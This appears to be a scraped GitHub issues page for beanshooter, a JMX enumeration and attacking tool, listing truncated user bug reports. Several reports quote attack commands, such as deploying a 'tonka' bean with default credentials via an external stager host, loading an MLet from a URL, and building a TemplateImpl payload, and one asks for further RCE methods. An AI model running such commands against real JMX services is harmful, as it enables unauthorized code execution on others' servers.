beanshooter icon indicating copy to clipboard operation
beanshooter copied to clipboard

JMX enumeration and attacking tool.

Results 12 beanshooter issues
Sort by recently updated
recently updated
newest added

Hey, just reporting this error as requested :) [~] : beanshooter tonka deploy --username admin --password adminadmin [Target IP] [Target Port] --stager-host [EC2 IP] --stager-port [EC2 Port] --no-stager Picked up...

bug
fixed on dev

First of all, thank you so much for this tool! I am getting an issue with the latest version when running the brute command. If it fails the first login...

bug
fixed on dev

In the beginning beanshooter does not decode the output of `tonka exec`. It just `write`s the original bytes to console without any side effect. So I think it could be...

Hello, One more tiny issue that I noticed on recent testing, in many cases the attempt to load a tonka bean will result in a plain mlet, The command that...

For some reason, I'm unable to deploy Tonka. I was able to download / load the file successfully with: `java -jar beanshooter-4.1.0-jar-with-dependencies.jar mlet load 127.0.0.1 1234 tonka http://127.0.0.1 --jmxmp` The...

question

I faced the following error when using beanshooter: ``` └─# java -jar beanshooter-4.1.0-jar-with-dependencies.jar enum redacted 30042 [+] Checking available bound names: [+] [+] * jmxrmi (JMX endpoint: redacted:30042) [+] [+]...

Hi Tobias, I'm trying to download a file from a Windows Host. This leads to an InvalidPathException due to the illegal char ":". Full command + output: ``` $ java...

bug

This issue has been troubling me for a long time. When encountering a JMX service in the internal network, and the jmxremote.port is mapped to the upstream IP through NAT...

Hello @qtc-de, While executing `java -jar beanshooter-4.1.0-jar-with-dependencies.jar standard tonka` I get the following error ``` [jarvis@Mac-mini target] % java -jar beanshooter-4.1.0-jar-with-dependencies.jar standard tonka [+] Creating a TemplateImpl payload object to...

fixed on dev

I don't suppose you have any other methods of RCE when `ObjectName: com.sun.management:type=DiagnosticCommand` looks like this? even with admin:admin on a wowza server i'm checking out a number of things...